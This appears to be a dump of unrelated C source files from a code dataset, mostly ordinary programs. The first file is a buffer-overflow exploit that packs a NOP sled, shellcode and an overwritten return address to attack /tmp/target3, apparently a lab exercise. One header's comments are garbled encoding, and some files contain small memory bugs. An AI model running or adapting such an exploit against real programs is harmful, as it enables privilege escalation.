language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target3" #define BUFFER 240 #define FP 4 #define RET 4 #define NOP 0x90 #define COUNT_LEN 10 struct widget_t { double x; double y; int count; }; int main(void) { char *args[3]; char *env[1]; args[0] = TARGET; args[2] = NULL; env[0] = NULL; char *count = "4080219172"; char *buff_address= "\xc8\xd8\xff\xbf"; // 0xbfffd8c8 if (!(args[1] = (char *)malloc((COUNT_LEN + 1 + BUFFER * sizeof(struct widget_t) + RET + FP) * sizeof(char)))) { exit(EXIT_FAILURE); } int i, j; for (i = 0; i < COUNT_LEN; ++i) { args[1][i] = count[i]; } args[1][i++] = ','; // printf("Count and \',\' with i = %d\n", i); for (i = i, j = 0; j < BUFFER * sizeof(struct widget_t) - strlen(shellcode); ++i, ++j) { args[1][i] = NOP; } // printf("NOPs with i = %d\n", i); for (i = i, j = 0; j < strlen(shellcode); ++i, ++j) { args[1][i] = shellcode[j]; } // printf("Shellcode with i = %d\n", i); for (i = i, j = 0; j < FP; ++i, ++j) { args[1][i] = "A"; } // printf("FP with i = %d\n", i); for (i = i, j = 0; j < RET; ++i, ++j) { args[1][i] = buff_address[j]; } // printf("RET with i = %d\n", i); // printf("%s\n", args[1]); if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
C
#include <Evas.h> #include <stdlib.h> #include <stdio.h> #include "volume.h" #include "database.h" #include <string.h> #include <time.h> static void* _video_files_next(DBIterator* it); static char db_path[4096]; void database_init(const char* path) { snprintf(db_path, sizeof(db_path), "%s", path); } /** create a connection to a database at path. * @return pointer to the database, or NULL on failure. */ Database* database_new() { int result; Database* db = calloc(1, sizeof(Database)); //printf("db=%s\n", path); result = sqlite3_open(db_path, &db->db); if (result) { fprintf(stderr, "error: %s\n", sqlite3_errmsg(db->db)); sqlite3_close(db->db); free(db); db = 0; } if (db) { char* errmsg; result = sqlite3_exec(db->db, "CREATE TABLE video_files(" "path TEXT PRIMARY KEY," // sha hash of the path "genre TEXT," // genre of the file "title TEXT," // title of the file. "f_type TEXT," // type of file (video, audio, photo "length INTEGER," // length in seconds. "createdDate INTEGER)" // time_t it was last played , NULL, NULL, &errmsg); if (result != SQLITE_OK) { //fprintf(stderr, "unable to create table! :%s\n", errmsg); sqlite3_free(errmsg); /* don't care about the error message. */ } } return db; } /** free a database connected to with 'database_new' */ void database_free(Database* db) { //printf("closing the db.\n"); sqlite3_close(db->db); free(db); } static DBIterator* _database_iterator_new(NextItemFx next_item_fx, FreeFx free_fx, char** tbl_results, const int rows, const int cols) { DBIterator* it = malloc(sizeof(DBIterator)); it->next_fx = next_item_fx; it->free_fx = free_fx; it->tbl_results = tbl_results; it->rows = rows; it->cols = cols; it->pos = 0; /* point to one before the first item. * the result sets include the header rows, so we need to include this in our row count. */ return it; } /** delete an iterator. */ void database_iterator_free(DBIterator* it) { if (it) { if (it->free_fx) { it->free_fx(it); } if (it->tbl_results) { sqlite3_free_table(it->tbl_results); } free(it); it = 0; } } /** move the iterator to the next item. * so: * /-before this function is done. * ...[record][record]... * \- here after this function executes. * * @return the item which exists at the next position */ void* database_iterator_next(DBIterator* it) { void* result = 0; if (database_iterator_move_next(it)) { result = database_iterator_get(it); } return result; } void* database_iterator_get(DBIterator* it) { if (it && it->next_fx) { return it->next_fx(it); } return 0; } int database_iterator_move_next(DBIterator* it) { int result = 0; /* only push to the next item if: * there is an iterator, * there is a next function, * there is another record to point to. */ if (it && it->next_fx) { it->pos += it->cols; /* not zero rows and * the new position is less than or equal to the number of rows * get the next result. */ if((it->rows != 0) && (it->pos <= (it->rows * it->cols))) { result = 1; } } return result; } /** retrieve all the files in the database. * or filters the files with the given part of the query. * * @param query_part2 the query after the 'from' clause. * @return list or NULL if error (or no files) */ DBIterator* database_video_files_get(Database* db, const char* query_part2) { char* error_msg; int result; int rows, cols; char** tbl_results=0; DBIterator* it = 0; char query[4096]; const char* query_base = "SELECT path, title, genre, f_type, 0, length, 0 " "FROM video_files "; if (! query_part2) { query_part2 = "ORDER BY title, path "; } snprintf(query, sizeof(query), "%s %s", query_base, query_part2); result = sqlite3_get_table(db->db, query, &tbl_results, &rows, &cols, &error_msg); if (SQLITE_OK == result) { it =_database_iterator_new(_video_files_next, 0, /* no extra data to free. */ tbl_results, rows, cols); } else { printf("error: %s", error_msg); sqlite3_free(error_msg); } return it; } /** retrieve files from the database given part of a path. * * @param path the front part of the path to search for. * @return an iterator pointing to before the first row, or null if no records. */ DBIterator* database_video_files_path_search(Database* db, const char* path) { DBIterator* it; char* query; query = sqlite3_mprintf("WHERE path like '%q%s' " "ORDER BY path ", path, "%"); it = database_video_files_get(db, query); sqlite3_free(query); return it; } /** retrieves all files from the database given the genre. * * @param genre genre to filter the file list for * @return an iterator or null if no files with the genre exist. */ DBIterator* database_video_files_genre_search(Database* db, const char* genre) { DBIterator* it; char* query; query = sqlite3_mprintf("WHERE genre = '%q' " "ORDER BY title, path ", genre); it = database_video_files_get(db, query); sqlite3_free(query); return it; } /** retrieves the first 25 files with a playcount greater than 0. * orders the list by playcount, title then path. * * @return an iterator or null if no files have been played. */ DBIterator* database_video_favorites_get(Database* db) { const char* where_clause = "WHERE 0 > 0 " "ORDER BY title, path " "LIMIT 25"; return database_video_files_get(db, where_clause); } /** retrieve the first 25 files with a recent lastplayed date. * orders by the last play date. * * @return an iterator. */ DBIterator* database_video_recents_get(Database* db) { const char* where_clause = "ORDER BY title, path " " LIMIT 25"; return database_video_files_get(db, where_clause); } static void* _genre_next(DBIterator* it) { Genre* genre = malloc(sizeof(Genre)); genre->label = eina_stringshare_add(it->tbl_results[it->pos + 0]); genre->count = atoi(it->tbl_results[it->pos +1]); return genre; } /** get a list of the genres in the database. */ DBIterator* database_video_genres_get(Database* db) { DBIterator* it = 0; char** tbl_results = 0; int rows, cols; int result; char* error_msg; char* query = "SELECT genre, count(path) " "FROM video_files " "GROUP BY genre " "ORDER BY genre"; result = sqlite3_get_table(db->db, query, &tbl_results, &rows, &cols, &error_msg); if (SQLITE_OK == result) { if (rows > 0) { //int max_item = rows * cols; it = _database_iterator_new(_genre_next, 0, /* nothing to free */ tbl_results, rows, cols); } } return it; } /** delete a file from the database. */ void database_video_file_del(Database* db, const char* path) { int result; char* error_msg; char* query = sqlite3_mprintf("DELETE FROM video_files WHERE path = %Q", path); //printf("%s\n", query); result = sqlite3_exec(db->db, query, NULL, NULL, &error_msg); if (result != SQLITE_OK) { fprintf(stderr, "db: delete error: %s; %s\n", query, error_msg); sqlite3_free(error_msg); } sqlite3_free(query); } /** add a new file to the database */ void database_video_file_add(Database* db, const Volume_Item* item) { int result; char* error_msg =0; time_t lp = time(0); char buf[16]; char queryBuf[8192]; snprintf(buf, sizeof(buf), "%ld", lp); char* query = sqlite3_mprintf( "INSERT INTO video_files (path, title, genre, f_type, length, createddate) " "VALUES(%Q, %Q, %Q, %Q, %d", item->path, item->name, item->genre, item->type, item->length); snprintf(queryBuf, sizeof(queryBuf), "%s, %s)", query, buf); result = sqlite3_exec(db->db, queryBuf, NULL, NULL, &error_msg); if (result != SQLITE_OK) { fprintf(stderr, "db: insert error: \"%s\"; %s\n", query, error_msg); sqlite3_free(error_msg); } sqlite3_free(query); } /* you HAVE TO SELECT AT LEAST (IN THIS ORDER) * path, title, genre, f_type, playcount, length, lastplayed */ static void* _video_files_next(DBIterator* it) { #define COL_PATH 0 #define COL_TITLE 1 #define COL_GENRE 2 #define COL_FTYPE 3 #define COL_PLAYCOUNT 4 #define COL_LENGTH 5 #define COL_LASTPLAYED 6 Volume_Item* item; /* printf("%dx%d\n", it->rows, it->cols); printf ("%s;%s;%s\n", it->tbl_results[it->pos + COL_PATH], it->tbl_results[it->pos + COL_TITLE], it->tbl_results[it->pos + COL_GENRE]); */ item = volume_item_new(it->tbl_results[it->pos + COL_PATH], it->tbl_results[it->pos + COL_TITLE], it->tbl_results[it->pos +COL_GENRE], it->tbl_results[it->pos + COL_FTYPE]); item->play_count = atoi(it->tbl_results[it->pos+COL_PLAYCOUNT]); item->length = atoi(it->tbl_results[it->pos+COL_LENGTH]); item->last_played = atoi(it->tbl_results[it->pos+COL_LASTPLAYED]); return item; }
C
/********** h2.c *********/ #include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/types.h> #include <unistd.h> typedef struct person{ char name[64]; int id; int age; char gender; }PERSON; int write_sector(int fd, int sector, char *buf) { int n; lseek(fd, sector*512, SEEK_SET); // advance to sector*512 bytes n = write(fd, buf, 512); // write 512 bytes from buf[] to sector if (n != 512){ printf("write failed\n"); return -1; } return n; } PERSON kcw, *p; int fd; char buf[512]; int main() { p = &kcw; strcpy(p->name, "k.c. Wang"); p->id = 12345678; p->age = 83; p->gender = 'M'; fd = open("disk", O_WRONLY); // open disk file for WRITE printf("fd = %d\n", fd); // show file descriptor number bzero(buf, 512); // clear buf[ ] to 0's memset(buf, 0, 512); // set buf[ ] to 0's memcpy(buf+256, p, sizeof(PERSON)); write_sector(fd, 1234, buf); // write buf[512] to sector 1234 }
C
/**************************************************************************** * apps/testing/getprime/getprime_main.c * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <assert.h> #include <pthread.h> #include <sched.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <time.h> /**************************************************************************** * Pre-processor Definitions ****************************************************************************/ #define PRIME_RANGE 10000 #define PRIME_RUNS 10 #define MAX_THREADS 8 /**************************************************************************** * Private Functions ****************************************************************************/ /**************************************************************************** * Name: get_primes ****************************************************************************/ static void get_primes(int *count, int *last) { int num; int found = 0; *last = 0; for (num = 1; num < PRIME_RANGE; num++) { int div; bool is_prime = true; for (div = 2; div <= num / 2; div++) { if (num % div == 0) { is_prime = false; break; } } if (is_prime) { found++; *last = num; } } *count = found; } /**************************************************************************** * Name: thread_func ****************************************************************************/ static FAR void *thread_func(FAR void *param) { int no = *(int *)param; int count; int last; int i; printf("thread #%d started, looking for primes < %d, doing %d run(s)\n", no, PRIME_RANGE, PRIME_RUNS); for (i = 0; i < PRIME_RUNS; i++) { get_primes(&count, &last); } printf("thread #%d finished, found %d primes, last one was %d\n", no, count, last); pthread_exit(NULL); return NULL; /* To keep some compilers happy */ } /**************************************************************************** * Name: get_prime_in_parallel ****************************************************************************/ static void get_prime_in_parallel(int n) { pthread_t thread[MAX_THREADS]; pthread_attr_t attr; pthread_addr_t result; int arg[MAX_THREADS]; int status; int i; status = pthread_attr_init(&attr); ASSERT(status == OK); struct sched_param sparam; sparam.sched_priority = CONFIG_TESTING_GETPRIME_THREAD_PRIORITY; status = pthread_attr_setschedparam(&attr, &sparam); ASSERT(status == OK); printf("Set thread priority to %d\n", sparam.sched_priority); #if CONFIG_RR_INTERVAL > 0 status = pthread_attr_setschedpolicy(&attr, SCHED_RR); ASSERT(status == OK); printf("Set thread policy to SCHED_RR\n"); #else status = pthread_attr_setschedpolicy(&attr, SCHED_FIFO); ASSERT(status == OK); printf("Set thread policy to SCHED_FIFO\n"); #endif for (i = 0; i < n; i++) { arg[i] = i; printf("Start thread #%d\n", i); status = pthread_create(&thread[i], &attr, thread_func, (FAR void *)&arg[i]); ASSERT(status == OK); } /* Wait for all the threads to finish */ for (i = 0; i < n; i++) { pthread_join(thread[i], &result); } printf("Done\n"); } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * getprime_main ****************************************************************************/ int main(int argc, FAR char *argv[]) { struct timespec ts0; struct timespec ts1; uint64_t elapsed; char *endp; int n = 1; if (argc == 2) { n = (int)strtol(argv[1], &endp, 10); ASSERT(argv[1] != endp); ASSERT(0 < n && n <= MAX_THREADS); } clock_gettime(CLOCK_REALTIME, &ts0); get_prime_in_parallel(n); clock_gettime(CLOCK_REALTIME, &ts1); elapsed = (((uint64_t)ts1.tv_sec * NSEC_PER_SEC) + ts1.tv_nsec); elapsed -= (((uint64_t)ts0.tv_sec * NSEC_PER_SEC) + ts0.tv_nsec); elapsed /= NSEC_PER_MSEC; /* msec */ printf("%s took %" PRIu64 " msec\n", argv[0], elapsed); return 0; }
C
/** * Return an array of size *returnSize. * Note: The returned array must be malloced, assume caller calls free(). */ int* plusOne(int* digits, int digitsSize, int* returnSize) { int carry = 1; for(int i = digitsSize-1;i>=0;--i){ digits[i] = digits[i]+carry; carry = digits[i]/10; digits[i] = digits[i]%10; if(!carry)break; } if(carry){ int * new = (int*)malloc((digitsSize+1)*sizeof(int)); new[0] = 1; for(int i = 1;i<digitsSize+1;++i){ new[i] = digits[i-1]; } *returnSize = digitsSize+1; return new; } else{ *returnSize = digitsSize; return digits; } } int main(void){ int a[3] = {1,2,3}; int * new = plusOne(a,3,size); return 0; }
C
#ifndef __ST_TREAP_TREE_H__ #define __ST_TREAP_TREE_H__ #include "stlib.h" ST_BEGIN_DECLS; /* ƽ */ /* * Treap(Sort)һݽṹ(Data Structure) * reapҶƽ TreapΪ+ Heap˼壬 * Treap BST Heap BSTһ * ʣĿľΪάƽ⡣ Treap BSTĻϣ * һֵ BSTʵĻͼ 5 ϣTreapڵ * ֵС2СʿԱΪÿ * ڵ㶼Сڵӽڵ㡣ǣ TreapԶΪʵĶ * 1.գнֵСĸֵ * ĸڵֵСڵڵֵ * 2. գнֵĸֵ * ĸڵֵСڵڵֵ * 3. ҲֱΪ Treap */ /* ΪʲôҪ Treap (1) Treapص 1. Treap׶TreapֵֻʽҼʹûܵѧ֤ͷ TreapĹ췽ƽԭҲDzġֻҪܹ BSTͶѵ˼룬 TreapȻڻ¡ 2. TreapڱдTreapֻάһֵֵһ޸ġ Ƚƽ Treapӵٵĵʽ໥ԳƵת Treap֮ڱԵһƽ 3. TreapȶԼѡTreapƽ䲻 AVL SBTƽ TreapҲ˻Ա֤ O(logN)ȡ Treapȶȡ 4. Treapܵѧ֤Treap O(logN)ȣܵѧ֤ġⲻǽܵص㣬ȥ 5. TreapõʵЧʵӦУ TreapȶԱֵ൱ɫûΪκεĹݶ˻ ϢѧУѡϰʹ Treapȡ˲׵ı֡ ҪϸϣԷ䡣 */ typedef stint TRElemType; typedef struct _TreapNode { TRElemType Element; struct _TreapNode* Left; struct _TreapNode* Right; stint Priority; }TreapNode, *Treap, *Position; Treap st_treap_tree_destroy( Treap T ); Position st_treap_tree_find( TRElemType X, Treap T ); Position st_treap_tree_find_min( Treap T ); Position st_treap_tree_find_max( Treap T ); Treap st_treap_tree_init( void ); Treap st_treap_tree_insert( TRElemType X, Treap T ); Treap st_treap_tree_remove( TRElemType X, Treap T ); TRElemType st_treap_tree_retrieve( Position P ); void st_treap_tree_traverse( Treap T ); extern Position TRNullNode; ST_END_DECLS ; #endif /* __ST_TREAP_TREE_H__ */
C
#ifndef _CGEOM_LINE_H_ #define _CGEOM_LINE_H_ struct line { point a, b; inline line() : a(0.0, 0.0), b(0.0, 0.0) { } inline line(const point &_a, const point &_b) : a(_a), b(_b) { } inline line(double x1, double y1, double x2, double y2) : a(point(x1, y1)), b(point(x2, y2)) { } /** * @brief Returns reference to a if i is false, otherwise reference to * b. Usually used in loops, for iterating the two points of a * line. * @param i The parameter. * @return See brief. * @date 2011-08-16 */ inline point &operator[](bool i) { return i ? b : a; } /** * @brief Makes the ray from the line segment. The point a will become * the end-point of the ray and the point b will be extended to * inf. * @return The ray. * @date 2011-08-15 */ inline line ray() const { point t = vec(); return line(a, a + t * (inf / max(t.x, t.y))); } /** * @brief Makes the direction vector of the line segment. * @return The direction vector of the line segment, i.e. (b - a). * @date 2011-08-10 */ inline point vec() const { return b - a; } /** * @brief Calculates the length of the line segment. * @return The length of the line segment, i.e. vec().mag(). * @date 2011-08-10 */ inline double len() const { return vec().mag(); } }; #endif /* _CGEOM_LINE_H_ */
C
#include <stdio.h> int main(){ int a[2][3] = { {6,5,4},{3,2,1} }; printf("[0][0] value is = %d\t",a[0][0]); printf("[0][1] value is = %d\t",a[0][1]); printf("[0][2] value is = %d\n",a[0][2]); printf("[1][0] value is = %d\t",a[1][0]); printf("[1][1] value is = %d\t",a[1][1]); printf("[1][2] value is = %d\n",a[1][2]); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct s_list { char *content; struct s_list *next; } t_list; t_list *list_new(char *content) { t_list *new; new = malloc(sizeof(new)); new->content = strdup(content); new->next = NULL; return (new); } void print_list(t_list *list) { if (list) { printf("content: %s\n", list->content); list = list->next; print_list(list); } printf("end_list\n"); } void list_find_if(t_list **list, int (*f)(char *content)) { t_list *head; head = *list; while (head) { if ((*f)(head->content)) { printf("found number!\n"); } head = head->next; } } void list_add(t_list **list, char *content) { t_list *new; new = malloc(sizeof(new)); new->content = strdup(content); new->next = *list; *list = new; } int is_number(char *content) { int i; i = 0; while (content[i]) { if (content[i] < '0' || content[i] > '9') { return (0); } i += 1; } return (1); } void lst_map(t_list **head, void (*f)(char *content)) { t_list *list; list = *head; while (list) { (*f)(list->content); list = list->next; } } int is_lower(char c) { if (c >= 'a' && c <= 'z') { return (1); } return (0); } void to_upp(char *content) { int i; i = 0; while (content[i]) { if (is_lower(content[i])) { content[i] = content[i] - 'a' + 'A'; } i += 1; } } void list_del(t_list **node) { free((*node)->content); (*node)->next = NULL; } void list_del_node(t_list **node, t_list **head) { t_list *list; t_list *link; list = *head; while (list) { if (strcmp(list->next->content, (*node)->content) == 0) { link = list->next->next; list_del(node); list->next = link; } list = list->next; } } void list_delete_if(t_list **head, int (*f)(char *content)) { t_list *list; printf("function->list_delete_if:\n"); list = *head; while (list) { printf("list->content: %s\n", list->content); if ((*f)(list->content)) { list_del_node(&list, head); } list = list->next; } } int main() { t_list *list; list = list_new("Hello"); list_add(&list, "123"); list_add(&list, "my name isa Jeff"); list_add(&list, "Correction: my name is Jeff"); print_list(list); lst_map(&list, (to_upp)); print_list(list); list_find_if(&list, (is_number)); list_delete_if(&list, (is_number)); return (0); }
C
/* * rextend.c */ #ifndef lint static const char *rcs_id = "$Header: /home/pcrtree/SRC.RCS/libs/csf/RCS/rextend.c,v 1.4 1997/10/07 09:45:40 cees Exp $"; #endif #include "csf.h" #include "csfimpl.h" #include <math.h> static double FmodRound( double v, double round) { double rVal = fmod(v, round); if(rVal == 0) return round; else return rVal; } /* compute (xUL,yUL) and nrRows, nrCols from some coordinates * RcomputeExtend computes parameters to create a raster maps * from minimum and maximum x and y coordinates, projection information, * cellsize and units. The resulting parameters are computed that the * smallest raster map can be created that will include the two * coordinates given, assuming a default angle of 0. * Which coordinates are the maximum or minimum are * determined by the function itself. */ void RcomputeExtend( REAL8 *xUL, /* write-only, resulting xUL */ REAL8 *yUL, /* write-only, resulting yUL */ size_t *nrRows, /* write-only, resulting nrRows */ size_t *nrCols, /* write-only, resulting nrCols */ double x_1, /* first x-coordinate */ double y_1, /* first y-coordinate */ double x_2, /* second x-coordinate */ double y_2, /* second y-coordinate */ CSF_PT projection, /* required projection */ REAL8 cellSize, /* required cellsize, > 0 */ double rounding) /* assure that (xUL/rounding), (yUL/rouding) * (xLL/rounding) and (yLL/rounding) will * will all be an integers values > 0 */ { /* * xUL ______ | | | | | | ------ */ double yLL,xUR = x_1 > x_2 ? x_1 : x_2; *xUL = x_1 < x_2 ? x_1 : x_2; *xUL -= FmodRound(*xUL, rounding); xUR += rounding - fmod(xUR, rounding); POSTCOND(*xUL <= xUR); *nrCols = (size_t)ceil((xUR - *xUL)/cellSize); if (projection == PT_YINCT2B) { yLL = y_1 > y_2 ? y_1 : y_2; /* highest value at bottom */ *yUL = y_1 < y_2 ? y_1 : y_2; /* lowest value at top */ *yUL -= FmodRound(*yUL, rounding); yLL += rounding-fmod( yLL, rounding); } else { yLL = y_1 < y_2 ? y_1 : y_2; /* lowest value at bottom */ *yUL = y_1 > y_2 ? y_1 : y_2; /* highest value at top */ *yUL += rounding-fmod(*yUL, rounding); yLL -= FmodRound( yLL, rounding); } *nrRows = (size_t)ceil(fabs(yLL - *yUL)/cellSize); }
C
#ifndef GEOMETRY_H #define GEOMETRY_H /* ============== Vertex ============== Purpose: Stores properties of each vertex Use: Used in face structure ==================================== */ struct vertex{ float x,y,z; // position in 3D space float confidence; float intensity; float r,g,b; // Color values }; /* ============== Face ============== Purpose: Store list of vertices that make up a polygon. In modern versions of OpenGL this value will always be 3(a triangle) Use: Used in Shape data structure. ==================================== */ struct face{ int vertexCount; int* vertexList; // Default constructor face(){ vertexCount = 0; } }; #endif
C
/* An example of socket client, file transfer server */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <sys/stat.h> #include <fcntl.h> #define SERVERPORT 8888 #define MAXBUF 1024 int main(int argc, char* argv[]) { int sockd; int counter; int fd; struct sockaddr_in file_trans_server; char buf[MAXBUF]; int return_status; if (argc < 3){ fprintf(stderr, "Usage: %s <ip address> <filename> [dest filename]\n", argv[0]); exit(1); } // create a socket sockd = socket(AF_INET, SOCK_STREAM, 0); if (sockd == -1){ fprintf(stderr, "Could not create socket!\n"); exit(1); } // set up the server information file_trans_server.sin_family = AF_INET; file_trans_server.sin_addr.s_addr = inet_addr(argv[1]); file_trans_server.sin_port = htons(SERVERPORT); // connect to the server return_status = connect(sockd, (struct sockaddr*)&file_trans_server, sizeof(file_trans_server)); if (return_status == -1){ fprintf(stderr, "Could not connect to server!\n"); exit(1); } // send the name of the file we want to the server return_status = write(sockd, argv[2], strlen(argv[2])+1); if (return_status == -1){ fprintf(stderr, "Could not send filename to server!\n"); exit(1); } // call shutdown to set our socket to read-only shutdown(sockd, SHUT_WR); // open up a handle to our destination file to receive the contents from the server. fd = open(argv[3], O_WRONLY | O_CREAT | O_APPEND); if (fd == -1){ fprintf(stderr, "Could not open destination file, using stdout.\n"); fd = 1; } // read the file from the socket as long as there is data while ((counter = read(sockd, buf, MAXBUF)) > 0){ // send the contents to stdout write(fd, buf, counter); } if (counter == -1){ fprintf(stderr, "Could not read file from socket!\n"); exit(1); } close(sockd); return 0; }
C
#include "clar.h" #include "util.h" FILE *fp = NULL; void test_utils__initialize(void) { } void test_utils__cleanup(void) { // Close anything we left open if(fp != NULL) { fclose(fp); fp = NULL; } } void test_utils__read_line_can_read_a_line(void) { fp = fopen(CLAR_FIXTURE_PATH "line_with_nl", "r"); char *data = read_line(fp, false, false); cl_assert_equal_i(strcmp("I am a cat\n", data), 0); // Cleanup locals if(data != NULL) free(data); } void test_utils__read_line_can_read_a_line_and_trim(void) { fp = fopen(CLAR_FIXTURE_PATH "line_with_nl", "r"); // Note the lack of '\n' char *data = read_line(fp, false, true); cl_assert_equal_i(strcmp("I am a cat", data), 0); // Cleanup locals if(data != NULL) free(data); } void test_utils__read_line_can_read_a_line_and_downcase(void) { fp = fopen(CLAR_FIXTURE_PATH "line_with_nl", "r"); // Note the lack of '\n' char *data = read_line(fp, true, false); cl_assert_equal_i(strcmp("i am a cat\n", data), 0); // Cleanup locals if(data != NULL) free(data); } void test_utils__read_line_can_read_a_line_then_trim_and_downcase(void) { fp = fopen(CLAR_FIXTURE_PATH "line_with_nl", "r"); // Note the lack of '\n' char *data = read_line(fp, true, true); cl_assert_equal_i(strcmp("i am a cat", data), 0); // Cleanup locals if(data != NULL) free(data); } void test_utils__read_line_doesnt_vomit_on_empty_file(void) { fp = fopen(CLAR_FIXTURE_PATH "empty", "r"); char *data = read_line(fp, true, true); cl_assert_(data == NULL, "Should have read NULL from an empty file."); // Clean up anything we shouldn't have if(data != NULL) free(data); } void test_utils__read_line_reads_without_nl(void) { fp = fopen(CLAR_FIXTURE_PATH "line_without_nl", "r"); char *data = read_line(fp, false, true); cl_assert_equal_i(strcmp("I am a cat", data), 0); if(data != NULL) free(data); } void test_utils__read_line_by_line_from_multiline_with_nl(void) { fp = fopen(CLAR_FIXTURE_PATH "multiline_text", "r"); char *data = NULL; data = read_line(fp, false, true); cl_assert_equal_i(strcmp("I am a cat", data), 0); if(data != NULL) free(data); data = read_line(fp, true, true); cl_assert_equal_i(strcmp("we are all cats", data), 0); if(data != NULL) free(data); cl_assert_(read_line(fp, true, true) == NULL, "Should get a NULL after we run out of file."); } void test_utils__read_line_by_line_from_multiline_without_nl(void) { fp = fopen(CLAR_FIXTURE_PATH "multiline_text_no_nl", "r"); char *data = NULL; data = read_line(fp, false, true); cl_assert_equal_i(strcmp("I am a cat", data), 0); if(data != NULL) free(data); data = read_line(fp, true, true); cl_assert_equal_i(strcmp("we are all cats", data), 0); if(data != NULL) free(data); cl_assert_(read_line(fp, true, true) == NULL, "Should get a NULL after we run out of file."); } void test_utils__read_line_can_read_blank_line(void) { fp = fopen(CLAR_FIXTURE_PATH "multiline_text_with_blank", "r"); char *data = NULL; data = read_line(fp, false, true); cl_assert_equal_i(strcmp("I am a cat", data), 0); if(data != NULL) free(data); data = read_line(fp, false, true); cl_assert_equal_i(strcmp("We are all cats", data), 0); if(data != NULL) free(data); // Blank line, should be non-null tho data = read_line(fp, false, true); cl_assert(data != NULL); cl_assert_equal_i(strlen(data), 0); if(data != NULL) free(data); // Last line data = read_line(fp, false, true); cl_assert_equal_i(strcmp("There was no cat above", data), 0); if(data != NULL) free(data); } void test_utils__read_line_can_read_long_lines(void) { // The data lines start and end with the same char // first with `c' then with `z' fp = fopen(CLAR_FIXTURE_PATH "1k_lines", "r"); char *data = NULL; data = read_line(fp, false, true); cl_assert(data != NULL); cl_assert_equal_i(strlen(data), 1024); cl_assert_equal_i(data[0], data[strlen(data) - 1]); if(data != NULL) free(data); data = read_line(fp, false, true); cl_assert(data != NULL); cl_assert_equal_i(strlen(data), 1024); cl_assert_equal_i(data[0], data[strlen(data) - 1]); cl_assert_equal_i(data[strlen(data) - 1], 'z'); if(data != NULL) free(data); }
C
#include <stdio.h> #include <stdlib.h> #define N 13 typedef int data_t; //节点的类型 typedef struct node{ data_t data; //数据段 struct node *next; //地址段 }**HASH_t, linknode_t; //linknode_t <==> struct node //HASH_t <==> struct node ** //创建N个空链表 HASH_t linknode_create() { int i; HASH_t h = (HASH_t)malloc(N * sizeof(linknode_t *)); for(i=0; i<N; i++) { h[i] = (linknode_t *)malloc(sizeof(linknode_t)); h[i]->next = NULL; } return h; //返回哈希表的首地址 } //插入数据 int linknode_insert(HASH_t h, data_t value) { int key; key = value % N; linknode_t *temp = h[key]; //temp:临时记录链表的头节点地址 linknode_t *node = (linknode_t *)malloc(sizeof(linknode_t)); //node:来一个数据开辟一个空间 node->data = value; while(temp->next != NULL && temp->next->data < value) //实现:按顺序插入数据 { temp = temp->next; } node->next = temp->next; temp->next = node; return 0; } int linknode_show(HASH_t h) { int i; linknode_t *temp = NULL; for(i=0; i<N; i++) { temp = h[i]; //遍历:所有的哈希表的头节点 printf("h[%2d] :",i); while(temp->next != NULL) //循环:遍历每一个链表的所有节点 { printf("%d ",temp->next->data); temp = temp->next; } putchar(10); } return 0; } int linknode_serach(HASH_t h, data_t value) { int key = value % N; linknode_t *temp = h[key]; //只查找某一特定链表 while(temp->next != NULL) { if(temp->next->data == value) { return 1; } temp = temp->next; } return 0; } int main(int argc, const char *argv[]) { int i, a[11] = {33,15,12,67,89,34,22,20,31,10,11}; HASH_t h = linknode_create(); for(i=0; i<11; i++) { linknode_insert(h,a[i]); } linknode_show(h); if(linknode_serach(h,32)) { puts("serach"); } else { puts("no serach"); } return 0; }
C
#ident "@(#)$Id: item.c,v 1.1 1996/08/14 18:42:27 anton Exp $"; #include "b.h" static Item_Set fptr; ItemArray DEFUN_VOID(newItemArray) { ItemArray ia; ia = (ItemArray) zalloc(max_nonterminal *sizeof(*ia)); return ia; } ItemArray DEFUN(itemArrayCopy, (src), ItemArray src) { ItemArray dst; dst = newItemArray(); memcpy(dst, src, max_nonterminal * sizeof(*dst)); return dst; } Item_Set DEFUN(newItem_Set, (relevant), Relevant relevant) { Item_Set ts; if (fptr) { ts = fptr; fptr = 0; memset(ts->virgin, 0, max_nonterminal * sizeof(struct item)); if (ts->closed) { zfree(ts->closed); ts->closed = 0; } ts->num = 0; ts->op = 0; } else { ts = (Item_Set) zalloc(sizeof(struct item_set)); ts->virgin = newItemArray(); } ts->relevant = relevant; return ts; } void DEFUN(freeItem_Set, (ts), Item_Set ts) { assert(!fptr); fptr = ts; } int DEFUN(equivSet, (a, b), Item_Set a AND Item_Set b) { register Relevant r; register int nt; register Item *aa = a->virgin; register Item *ba = b->virgin; /* return !bcmp(a->virgin, b->virgin, max_nonterminal * sizeof(Item)); */ r = a->relevant ? a->relevant : b->relevant; assert(r); if (a->op && b->op && a->op != b->op) { return 0; } for (; (nt = *r) != 0; r++) { if (aa[nt].rule != ba[nt].rule || !EQUALCOST(aa[nt].delta, ba[nt].delta)) { return 0; } } return 1; } void DEFUN(printRepresentative, (f, s), FILE *f AND Item_Set s) { if (!s) { return; } fprintf(f, "%s", s->op->name); switch (s->op->arity) { case 1: fprintf(f, "("); printRepresentative(f, s->kids[0]); fprintf(f, ")"); case 2: fprintf(f, "("); printRepresentative(f, s->kids[0]); fprintf(f, ", "); printRepresentative(f, s->kids[1]); fprintf(f, ")"); } } void DEFUN(dumpItem, (t), Item *t) { printf("[%s #%d]", t->rule->lhs->name, t->rule->num); dumpCost(t->delta); 